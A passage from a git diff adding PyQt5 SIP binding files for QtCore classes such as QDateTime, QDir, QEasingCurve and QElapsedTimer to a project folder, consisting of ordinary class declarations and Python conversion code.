sipCpp->second())); + + if (sipCpp->msec()) + PyString_ConcatAndDel(&sipRes, + PyString_FromFormat(", %i", sipCpp->msec())); + } + + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); + #endif + } +%End + + long __hash__() const; +%MethodCode + sipRes = qHash(sipCpp->toString(Qt::ISODate)); +%End + + SIP_PYOBJECT toPyTime() const /TypeHint="datetime.time"/; +%MethodCode + // Convert to a Python time object. + sipTimeDef py_time; + + py_time.pt_hour = sipCpp->hour(); + py_time.pt_minute = sipCpp->minute(); + py_time.pt_second = sipCpp->second(); + py_time.pt_microsecond = sipCpp->msec() * 1000; + + sipRes = sipFromTime(&py_time); +%End + + bool isNull() const; + int __bool__() const; +%MethodCode + sipRes = !sipCpp->isNull(); +%End + + bool isValid() const; + int hour() const; + int minute() const; + int second() const; + int msec() const; + QString toString(Qt::DateFormat format = Qt::TextDate) const; + QString toString(const QString &format) const; + bool setHMS(int h, int m, int s, int msec = 0); + QTime addSecs(int secs) const; + int secsTo(const QTime &) const; + QTime addMSecs(int ms) const; + int msecsTo(const QTime &) const; + bool operator==(const QTime &other) const; + bool operator!=(const QTime &other) const; + bool operator<(const QTime &other) const; + bool operator<=(const QTime &other) const; + bool operator>(const QTime &other) const; + bool operator>=(const QTime &other) const; + static QTime currentTime(); + static QTime fromString(const QString &string, Qt::DateFormat format = Qt::TextDate); + static QTime fromString(const QString &s, const QString &format); + static bool isValid(int h, int m, int s, int msec = 0); + void start(); + int restart(); + int elapsed() const; +%If (Qt_5_2_0 -) + static QTime fromMSecsSinceStartOfDay(int msecs); +%End +%If (Qt_5_2_0 -) + int msecsSinceStartOfDay() const; +%End +}; + +class QDateTime /TypeHintIn="Union[QDateTime, datetime.datetime]"/ +{ +%TypeHeaderCode +#include +%End + +%TypeCode +#include +%End + +%ConvertToTypeCode +// Allow a Python datetime object whenever a QDateTime is expected. + +if (sipIsErr == NULL) + return (sipGetDateTime(sipPy, 0, 0) || + sipCanConvertToType(sipPy, sipType_QDateTime, SIP_NO_CONVERTORS)); + +sipDateDef py_date; +sipTimeDef py_time; + +if (sipGetDateTime(sipPy, &py_date, &py_time)) +{ + QDate qdate(py_date.pd_year, + py_date.pd_month, + py_date.pd_day); + + QTime qtime(py_time.pt_hour, + py_time.pt_minute, + py_time.pt_second, + py_time.pt_microsecond / 1000); + + QDateTime *qdt = new QDateTime(qdate, qtime); + + *sipCppPtr = qdt; + + return sipGetState(sipTransferObj); +} + +*sipCppPtr = reinterpret_cast(sipConvertToType(sipPy, sipType_QDateTime, sipTransferObj, SIP_NO_CONVERTORS, 0, sipIsErr)); + +return 0; +%End + +%PickleCode + QDate qd = sipCpp->date(); + QTime qt = sipCpp->time(); + + sipRes = Py_BuildValue((char *)"iiiiiiii", qd.year(), qd.month(), qd.day(), + qt.hour(), qt.minute(), qt.second(), qt.msec(), + (int)sipCpp->timeSpec()); +%End + +public: + QDateTime(); + QDateTime(const QDateTime &other); + explicit QDateTime(const QDate &); + QDateTime(const QDate &date, const QTime &time, Qt::TimeSpec timeSpec = Qt::LocalTime); + QDateTime(int year, int month, int day, int hour, int minute, int second = 0, int msec = 0, int timeSpec = 0) /NoDerived/; +%MethodCode + // This ctor is mainly supplied to allow pickling. + QDate qd(a0, a1, a2); + QTime qt(a3, a4, a5, a6); + + sipCpp = new QDateTime(qd, qt, (Qt::TimeSpec)a7); +%End + + ~QDateTime(); + SIP_PYOBJECT __repr__() const /TypeHint="str"/; +%MethodCode + if (sipCpp->isNull()) + { + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromString("PyQt5.QtCore.QDateTime()"); + #else + sipRes = PyString_FromString("PyQt5.QtCore.QDateTime()"); + #endif + } + else + { + QDate qd = sipCpp->date(); + QTime qt = sipCpp->time(); + + #if PY_MAJOR_VERSION >= 3 + sipRes = PyUnicode_FromFormat("PyQt5.QtCore.QDateTime(%i, %i, %i, %i, %i", + qd.year(), qd.month(), qd.day(), qt.hour(), qt.minute()); + + if (qt.second() || qt.msec() || sipCpp->timeSpec() != Qt::LocalTime) + { + qpycore_Unicode_ConcatAndDel(&sipRes, + PyUnicode_FromFormat(", %i", qt.second())); + + if (qt.msec() || sipCpp->timeSpec() != Qt::LocalTime) + { + qpycore_Unicode_ConcatAndDel(&sipRes, + PyUnicode_FromFormat(", %i", qt.msec())); + + if (sipCpp->timeSpec() != Qt::LocalTime) + qpycore_Unicode_ConcatAndDel(&sipRes, + PyUnicode_FromFormat(", PyQt5.QtCore.Qt.TimeSpec(%i)", + (int)sipCpp->timeSpec())); + } + } + + qpycore_Unicode_ConcatAndDel(&sipRes, PyUnicode_FromString(")")); + #else + sipRes = PyString_FromFormat("PyQt5.QtCore.QDateTime(%i, %i, %i, %i, %i", + qd.year(), qd.month(), qd.day(), qt.hour(), qt.minute()); + + if (qt.second() || qt.msec() || sipCpp->timeSpec() != Qt::LocalTime) + { + PyString_ConcatAndDel(&sipRes, + PyString_FromFormat(", %i", qt.second())); + + if (qt.msec() || sipCpp->timeSpec() != Qt::LocalTime) + { + PyString_ConcatAndDel(&sipRes, + PyString_FromFormat(", %i", qt.msec())); + + if (sipCpp->timeSpec() != Qt::LocalTime) + PyString_ConcatAndDel(&sipRes, + PyString_FromFormat(", PyQt5.QtCore.Qt.TimeSpec(%i)", + (int)sipCpp->timeSpec())); + } + } + + PyString_ConcatAndDel(&sipRes, PyString_FromString(")")); + #endif + } +%End + + long __hash__() const; +%MethodCode + sipRes = qHash(sipCpp->toString(Qt::ISODate)); +%End + + SIP_PYOBJECT toPyDateTime() const /TypeHint="datetime.datetime"/; +%MethodCode + // Convert to a Python datetime object. + sipDateDef py_date; + QDate qd = sipCpp->date(); + + py_date.pd_year = qd.year(); + py_date.pd_month = qd.month(); + py_date.pd_day = qd.day(); + + sipTimeDef py_time; + QTime qt = sipCpp->time(); + + py_time.pt_hour = qt.hour(); + py_time.pt_minute = qt.minute(); + py_time.pt_second = qt.second(); + py_time.pt_microsecond = qt.msec() * 1000; + + sipRes = sipFromDateTime(&py_date, &py_time); +%End + + bool isNull() const; + int __bool__() const; +%MethodCode + sipRes = !sipCpp->isNull(); +%End + + bool isValid() const; + QDate date() const; + QTime time() const; + Qt::TimeSpec timeSpec() const; + uint toTime_t() const; + void setDate(const QDate &date); + void setTime(const QTime &time); + void setTimeSpec(Qt::TimeSpec spec); + void setTime_t(uint secsSince1Jan1970UTC); + QString toString(Qt::DateFormat format = Qt::TextDate) const; + QString toString(const QString &format) const; + QDateTime addDays(qint64 days) const; + QDateTime addMonths(int months) const; + QDateTime addYears(int years) const; + QDateTime addSecs(qint64 secs) const; + QDateTime addMSecs(qint64 msecs) const; + QDateTime toTimeSpec(Qt::TimeSpec spec) const; + QDateTime toLocalTime() const; + QDateTime toUTC() const; + qint64 daysTo(const QDateTime &) const; + qint64 secsTo(const QDateTime &) const; + bool operator==(const QDateTime &other) const; + bool operator!=(const QDateTime &other) const; + bool operator<(const QDateTime &other) const; + bool operator<=(const QDateTime &other) const; + bool operator>(const QDateTime &other) const; + bool operator>=(const QDateTime &other) const; + static QDateTime currentDateTime(); + static QDateTime fromString(const QString &string, Qt::DateFormat format = Qt::TextDate); + static QDateTime fromString(const QString &s, const QString &format); + static QDateTime fromTime_t(uint secsSince1Jan1970UTC); + qint64 toMSecsSinceEpoch() const; + void setMSecsSinceEpoch(qint64 msecs); + qint64 msecsTo(const QDateTime &) const; + static QDateTime currentDateTimeUtc(); + static QDateTime fromMSecsSinceEpoch(qint64 msecs); + static qint64 currentMSecsSinceEpoch(); + void swap(QDateTime &other /Constrained/); +%If (Qt_5_2_0 -) + QDateTime(const QDate &date, const QTime &time, Qt::TimeSpec spec, int offsetSeconds); +%End +%If (Qt_5_2_0 -) + QDateTime(const QDate &date, const QTime &time, const QTimeZone &timeZone); +%End +%If (Qt_5_2_0 -) + int offsetFromUtc() const; +%End +%If (Qt_5_2_0 -) + QTimeZone timeZone() const; +%End +%If (Qt_5_2_0 -) + QString timeZoneAbbreviation() const; +%End +%If (Qt_5_2_0 -) + bool isDaylightTime() const; +%End +%If (Qt_5_2_0 -) + void setOffsetFromUtc(int offsetSeconds); +%End +%If (Qt_5_2_0 -) + void setTimeZone(const QTimeZone &toZone); +%End +%If (Qt_5_2_0 -) + QDateTime toOffsetFromUtc(int offsetSeconds) const; +%End +%If (Qt_5_2_0 -) + QDateTime toTimeZone(const QTimeZone &toZone) const; +%End +%If (Qt_5_2_0 -) + static QDateTime fromTime_t(uint secsSince1Jan1970UTC, Qt::TimeSpec spec, int offsetSeconds = 0); +%End +%If (Qt_5_2_0 -) + static QDateTime fromTime_t(uint secsSince1Jan1970UTC, const QTimeZone &timeZone); +%End +%If (Qt_5_2_0 -) + static QDateTime fromMSecsSinceEpoch(qint64 msecs, Qt::TimeSpec spec, int offsetSeconds = 0); +%End +%If (Qt_5_2_0 -) + static QDateTime fromMSecsSinceEpoch(qint64 msecs, const QTimeZone &timeZone); +%End +%If (Qt_5_8_0 -) + qint64 toSecsSinceEpoch() const; +%End +%If (Qt_5_8_0 -) + void setSecsSinceEpoch(qint64 secs); +%End +%If (Qt_5_8_0 -) + static QDateTime fromSecsSinceEpoch(qint64 secs, Qt::TimeSpec spec = Qt::LocalTime, int offsetSeconds = 0); +%End +%If (Qt_5_8_0 -) + static QDateTime fromSecsSinceEpoch(qint64 secs, const QTimeZone &timeZone); +%End +%If (Qt_5_8_0 -) + static qint64 currentSecsSinceEpoch(); +%End +%If (Qt_5_14_0 -) + static QDateTime fromString(const QString &s, const QString &format, QCalendar cal); +%End +%If (Qt_5_14_0 -) + + enum class YearRange + { + First, + Last, + }; + +%End +%If (Qt_5_15_0 -) + QString toString(const QString &format, QCalendar cal) const; +%End +}; + +QDataStream &operator<<(QDataStream &, const QDate & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QDate & /Constrained/) /ReleaseGIL/; +QDataStream &operator<<(QDataStream &, const QTime & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QTime & /Constrained/) /ReleaseGIL/; +QDataStream &operator<<(QDataStream &, const QDateTime & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QDateTime & /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qdeadlinetimer.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qdeadlinetimer.sip new file mode 100644 index 00000000..e33a9be7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qdeadlinetimer.sip @@ -0,0 +1,89 @@ +// qdeadlinetimer.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_8_0 -) + +class QDeadlineTimer +{ +%TypeHeaderCode +#include +%End + +public: + enum ForeverConstant + { + Forever, + }; + + QDeadlineTimer(Qt::TimerType type = Qt::CoarseTimer); + QDeadlineTimer(QDeadlineTimer::ForeverConstant, Qt::TimerType type = Qt::CoarseTimer); + QDeadlineTimer(qint64 msecs, Qt::TimerType type = Qt::CoarseTimer); + void swap(QDeadlineTimer &other /Constrained/); + bool isForever() const; + bool hasExpired() const; + Qt::TimerType timerType() const; + void setTimerType(Qt::TimerType type); + qint64 remainingTime() const; + qint64 remainingTimeNSecs() const; + void setRemainingTime(qint64 msecs, Qt::TimerType type = Qt::CoarseTimer); + void setPreciseRemainingTime(qint64 secs, qint64 nsecs = 0, Qt::TimerType type = Qt::CoarseTimer); + qint64 deadline() const; + qint64 deadlineNSecs() const; + void setDeadline(qint64 msecs, Qt::TimerType type = Qt::CoarseTimer); + void setPreciseDeadline(qint64 secs, qint64 nsecs = 0, Qt::TimerType type = Qt::CoarseTimer); + static QDeadlineTimer addNSecs(QDeadlineTimer dt, qint64 nsecs); + static QDeadlineTimer current(Qt::TimerType type = Qt::CoarseTimer); + QDeadlineTimer &operator+=(qint64 msecs); + QDeadlineTimer &operator-=(qint64 msecs); +}; + +%End +%If (Qt_5_8_0 -) +bool operator==(QDeadlineTimer d1, QDeadlineTimer d2); +%End +%If (Qt_5_8_0 -) +bool operator!=(QDeadlineTimer d1, QDeadlineTimer d2); +%End +%If (Qt_5_8_0 -) +bool operator<(QDeadlineTimer d1, QDeadlineTimer d2); +%End +%If (Qt_5_8_0 -) +bool operator<=(QDeadlineTimer d1, QDeadlineTimer d2); +%End +%If (Qt_5_8_0 -) +bool operator>(QDeadlineTimer d1, QDeadlineTimer d2); +%End +%If (Qt_5_8_0 -) +bool operator>=(QDeadlineTimer d1, QDeadlineTimer d2); +%End +%If (Qt_5_8_0 -) +QDeadlineTimer operator+(QDeadlineTimer dt, qint64 msecs); +%End +%If (Qt_5_8_0 -) +QDeadlineTimer operator+(qint64 msecs, QDeadlineTimer dt); +%End +%If (Qt_5_8_0 -) +QDeadlineTimer operator-(QDeadlineTimer dt, qint64 msecs); +%End +%If (Qt_5_8_0 -) +qint64 operator-(QDeadlineTimer dt1, QDeadlineTimer dt2); +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qdir.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qdir.sip new file mode 100644 index 00000000..66b3d136 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qdir.sip @@ -0,0 +1,182 @@ +// qdir.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDir +{ +%TypeHeaderCode +#include +%End + +public: + enum Filter + { + Dirs, + Files, + Drives, + NoSymLinks, + AllEntries, + TypeMask, + Readable, + Writable, + Executable, + PermissionMask, + Modified, + Hidden, + System, + AccessMask, + AllDirs, + CaseSensitive, + NoDotAndDotDot, + NoFilter, + NoDot, + NoDotDot, + }; + + typedef QFlags Filters; + + enum SortFlag + { + Name, + Time, + Size, + Unsorted, + SortByMask, + DirsFirst, + Reversed, + IgnoreCase, + DirsLast, + LocaleAware, + Type, + NoSort, + }; + + typedef QFlags SortFlags; + QDir(const QDir &); + QDir(const QString &path = QString()); + QDir(const QString &path, const QString &nameFilter, QFlags sort /TypeHintValue="QDir.Name|QDir.IgnoreCase"/ = QDir::SortFlags(QDir::Name|QDir::IgnoreCase), QFlags filters = AllEntries); + ~QDir(); + void setPath(const QString &path); + QString path() const; + QString absolutePath() const; + QString canonicalPath() const; + QString dirName() const; + QString filePath(const QString &fileName) const; + QString absoluteFilePath(const QString &fileName) const; + QString relativeFilePath(const QString &fileName) const; + bool cd(const QString &dirName); + bool cdUp(); + QStringList nameFilters() const; + void setNameFilters(const QStringList &nameFilters); + QDir::Filters filter() const; + void setFilter(QDir::Filters filter); + QDir::SortFlags sorting() const; + void setSorting(QDir::SortFlags sort); + uint count() const /__len__/; + QString operator[](int) const; +%MethodCode + Py_ssize_t idx = sipConvertFromSequenceIndex(a0, sipCpp->count()); + + if (idx < 0) + sipIsErr = 1; + else + sipRes = new QString(sipCpp->operator[]((int)idx)); +%End + + QStringList operator[](SIP_PYSLICE) const; +%MethodCode + Py_ssize_t start, stop, step, slicelength; + + if (sipConvertFromSliceObject(a0, sipCpp->count(), &start, &stop, &step, &slicelength) < 0) + { + sipIsErr = 1; + } + else + { + sipRes = new QStringList(); + + for (Py_ssize_t i = 0; i < slicelength; ++i) + { + (*sipRes) += (*sipCpp)[start]; + start += step; + } + } +%End + + int __contains__(const QString &) const; +%MethodCode + sipRes = bool(sipCpp->entryList().contains(*a0)); +%End + + static QStringList nameFiltersFromString(const QString &nameFilter); + QStringList entryList(QDir::Filters filters = QDir::NoFilter, QDir::SortFlags sort = QDir::SortFlag::NoSort) const; + QStringList entryList(const QStringList &nameFilters, QDir::Filters filters = QDir::NoFilter, QDir::SortFlags sort = QDir::SortFlag::NoSort) const; + QFileInfoList entryInfoList(QDir::Filters filters = QDir::NoFilter, QDir::SortFlags sort = QDir::SortFlag::NoSort) const; + QFileInfoList entryInfoList(const QStringList &nameFilters, QDir::Filters filters = QDir::NoFilter, QDir::SortFlags sort = QDir::SortFlag::NoSort) const; + bool mkdir(const QString &dirName) const; + bool rmdir(const QString &dirName) const; + bool mkpath(const QString &dirPath) const; + bool rmpath(const QString &dirPath) const; + bool isReadable() const; + bool exists() const; + bool isRoot() const; + static bool isRelativePath(const QString &path); + static bool isAbsolutePath(const QString &path); + bool isRelative() const; + bool isAbsolute() const; + bool makeAbsolute(); + bool operator==(const QDir &dir) const; + bool operator!=(const QDir &dir) const; + bool remove(const QString &fileName); + bool rename(const QString &oldName, const QString &newName); + bool exists(const QString &name) const; + void refresh() const; + static QFileInfoList drives(); + static QChar separator(); + static bool setCurrent(const QString &path); + static QDir current(); + static QString currentPath(); + static QDir home(); + static QString homePath(); + static QDir root(); + static QString rootPath(); + static QDir temp(); + static QString tempPath(); + static bool match(const QStringList &filters, const QString &fileName); + static bool match(const QString &filter, const QString &fileName); + static QString cleanPath(const QString &path); + static QString toNativeSeparators(const QString &pathName); + static QString fromNativeSeparators(const QString &pathName); + static void setSearchPaths(const QString &prefix, const QStringList &searchPaths); + static void addSearchPath(const QString &prefix, const QString &path); + static QStringList searchPaths(const QString &prefix); + bool removeRecursively(); + void swap(QDir &other /Constrained/); +%If (Qt_5_6_0 -) + static QChar listSeparator(); +%End +%If (Qt_5_9_0 -) + bool isEmpty(QDir::Filters filters = QDir::AllEntries | QDir::NoDotAndDotDot) const; +%End +}; + +QFlags operator|(QDir::Filter f1, QFlags f2); +QFlags operator|(QDir::SortFlag f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qdiriterator.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qdiriterator.sip new file mode 100644 index 00000000..36b811cd --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qdiriterator.sip @@ -0,0 +1,54 @@ +// qdiriterator.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QDirIterator +{ +%TypeHeaderCode +#include +%End + +public: + enum IteratorFlag + { + NoIteratorFlags, + FollowSymlinks, + Subdirectories, + }; + + typedef QFlags IteratorFlags; + QDirIterator(const QDir &dir, QFlags flags = NoIteratorFlags); + QDirIterator(const QString &path, QFlags flags = NoIteratorFlags); + QDirIterator(const QString &path, QFlags filters, QFlags flags = NoIteratorFlags); + QDirIterator(const QString &path, const QStringList &nameFilters, QFlags filters = QDir::NoFilter, QFlags flags = NoIteratorFlags); + ~QDirIterator(); + QString next(); + bool hasNext() const; + QString fileName() const; + QString filePath() const; + QFileInfo fileInfo() const; + QString path() const; + +private: + QDirIterator(const QDirIterator &); +}; + +QFlags operator|(QDirIterator::IteratorFlag f1, QFlags f2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qeasingcurve.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qeasingcurve.sip new file mode 100644 index 00000000..1abb75b9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qeasingcurve.sip @@ -0,0 +1,285 @@ +// qeasingcurve.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QEasingCurve /TypeHintIn="Union[QEasingCurve, QEasingCurve.Type]"/ +{ +%TypeHeaderCode +#include +%End + +%TypeCode +// The EasingFunction callback doesn't provide a context so we support a fixed +// number of different functions. + +const int ec_nr_custom_types = 10; + +struct ec_custom_type { + PyObject *py_func; + QEasingCurve::EasingFunction func; +}; + +static qreal ec_call(int ec, qreal v); + +static qreal ec_func_0(qreal v) +{ + return ec_call(0, v); +} + +static qreal ec_func_1(qreal v) +{ + return ec_call(1, v); +} + +static qreal ec_func_2(qreal v) +{ + return ec_call(2, v); +} + +static qreal ec_func_3(qreal v) +{ + return ec_call(3, v); +} + +static qreal ec_func_4(qreal v) +{ + return ec_call(4, v); +} + +static qreal ec_func_5(qreal v) +{ + return ec_call(5, v); +} + +static qreal ec_func_6(qreal v) +{ + return ec_call(6, v); +} + +static qreal ec_func_7(qreal v) +{ + return ec_call(7, v); +} + +static qreal ec_func_8(qreal v) +{ + return ec_call(8, v); +} + +static qreal ec_func_9(qreal v) +{ + return ec_call(9, v); +} + +static ec_custom_type ec_custom_types[ec_nr_custom_types] = { + {0, ec_func_0}, + {0, ec_func_1}, + {0, ec_func_2}, + {0, ec_func_3}, + {0, ec_func_4}, + {0, ec_func_5}, + {0, ec_func_6}, + {0, ec_func_7}, + {0, ec_func_8}, + {0, ec_func_9}, +}; + +static qreal ec_call(int ec, qreal v) +{ + PyObject *res_obj; + qreal res = 0.0; + + SIP_BLOCK_THREADS + + res_obj = PyObject_CallFunction(ec_custom_types[ec].py_func, (char *)"(d)", (double)v); + + if (res_obj) + { + PyErr_Clear(); + + res = PyFloat_AsDouble(res_obj); + Py_DECREF(res_obj); + + if (PyErr_Occurred()) + res_obj = 0; + } + + if (!res_obj) + pyqt5_err_print(); + + SIP_UNBLOCK_THREADS + + return res; +} +%End + +%ConvertToTypeCode +// Allow a QEasingCurve::Type whenever a QEasingCurve is expected. + +if (sipIsErr == NULL) +{ + if (sipCanConvertToType(sipPy, sipType_QEasingCurve, SIP_NO_CONVERTORS)) + return 1; + + if (PyObject_TypeCheck(sipPy, sipTypeAsPyTypeObject(sipType_QEasingCurve_Type))) + return 1; + + return 0; +} + +if (sipCanConvertToType(sipPy, sipType_QEasingCurve, SIP_NO_CONVERTORS)) +{ + *sipCppPtr = reinterpret_cast(sipConvertToType(sipPy, sipType_QEasingCurve, sipTransferObj, SIP_NO_CONVERTORS, 0, sipIsErr)); + + return 0; +} + +*sipCppPtr = new QEasingCurve((QEasingCurve::Type)SIPLong_AsLong(sipPy)); + +return sipGetState(sipTransferObj); +%End + +public: + enum Type + { + Linear, + InQuad, + OutQuad, + InOutQuad, + OutInQuad, + InCubic, + OutCubic, + InOutCubic, + OutInCubic, + InQuart, + OutQuart, + InOutQuart, + OutInQuart, + InQuint, + OutQuint, + InOutQuint, + OutInQuint, + InSine, + OutSine, + InOutSine, + OutInSine, + InExpo, + OutExpo, + InOutExpo, + OutInExpo, + InCirc, + OutCirc, + InOutCirc, + OutInCirc, + InElastic, + OutElastic, + InOutElastic, + OutInElastic, + InBack, + OutBack, + InOutBack, + OutInBack, + InBounce, + OutBounce, + InOutBounce, + OutInBounce, + InCurve, + OutCurve, + SineCurve, + CosineCurve, + BezierSpline, + TCBSpline, + Custom, + }; + + QEasingCurve(QEasingCurve::Type type = QEasingCurve::Linear); + QEasingCurve(const QEasingCurve &other); + ~QEasingCurve(); + bool operator==(const QEasingCurve &other) const; + bool operator!=(const QEasingCurve &other) const; + qreal amplitude() const; + void setAmplitude(qreal amplitude); + qreal period() const; + void setPeriod(qreal period); + qreal overshoot() const; + void setOvershoot(qreal overshoot); + QEasingCurve::Type type() const; + void setType(QEasingCurve::Type type); + void setCustomType(SIP_PYCALLABLE func /TypeHint="Callable[[float], float]"/); +%MethodCode + int i; + ec_custom_type *ct; + + for (i = 0; i < ec_nr_custom_types; ++i) + { + ct = &ec_custom_types[i]; + + if (!ct->py_func || ct->py_func == a0) + break; + } + + if (i == ec_nr_custom_types) + { + PyErr_Format(PyExc_ValueError, "a maximum of %d different easing functions are supported", ec_nr_custom_types); + sipError = sipErrorFail; + } + else + { + if (!ct->py_func) + { + ct->py_func = a0; + Py_INCREF(a0); + } + + sipCpp->setCustomType(ct->func); + } +%End + + SIP_PYCALLABLE customType() const /TypeHint="Callable[[float], float]"/; +%MethodCode + QEasingCurve::EasingFunction func = sipCpp->customType(); + + sipRes = Py_None; + + if (func) + { + for (int i = 0; i < ec_nr_custom_types; ++i) + { + if (ec_custom_types[i].func == func) + { + sipRes = ec_custom_types[i].py_func; + break; + } + } + } + + Py_INCREF(sipRes); +%End + + qreal valueForProgress(qreal progress) const; + void swap(QEasingCurve &other /Constrained/); + void addCubicBezierSegment(const QPointF &c1, const QPointF &c2, const QPointF &endPoint); + void addTCBSegment(const QPointF &nextPoint, qreal t, qreal c, qreal b); + QVector toCubicSpline() const; +}; + +QDataStream &operator<<(QDataStream &, const QEasingCurve & /Constrained/) /ReleaseGIL/; +QDataStream &operator>>(QDataStream &, QEasingCurve & /Constrained/) /ReleaseGIL/; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qelapsedtimer.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qelapsedtimer.sip new file mode 100644 index 00000000..de5f1aad --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qelapsedtimer.sip @@ -0,0 +1,59 @@ +// qelapsedtimer.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QElapsedTimer +{ +%TypeHeaderCode +#include +%End + +public: +%If (Qt_5_4_0 -) + QElapsedTimer(); +%End + + enum ClockType + { + SystemTime, + MonotonicClock, + TickCounter, + MachAbsoluteTime, + PerformanceCounter, + }; + + static QElapsedTimer::ClockType clockType(); + static bool isMonotonic(); + void start(); + qint64 restart(); + void invalidate(); + bool isValid() const; + qint64 elapsed() const; + bool hasExpired(qint64 timeout) const; + qint64 msecsSinceReference() const; + qint64 msecsTo(const QElapsedTimer &other) const; + qint64 secsTo(const QElapsedTimer &other) const; + bool operator==(const QElapsedTimer &other) const; + bool operator!=(const QElapsedTimer &other) const; + qint64 nsecsElapsed() const; +}; + +bool operator<(const QElapsedTimer &v1, const QElapsedTimer &v2); diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qeventloop.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qeventloop.sip new file mode 100644 index 00000000..f39bc94d --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qeventloop.sip @@ -0,0 +1,76 @@ +// qeventloop.sip generated by MetaSIP +// +// This file is part of the QtCore Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QEventLoop : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QEventLoop(QObject *parent /TransferThis/ = 0); + virtual ~QEventLoop(); + + enum ProcessEventsFlag + { 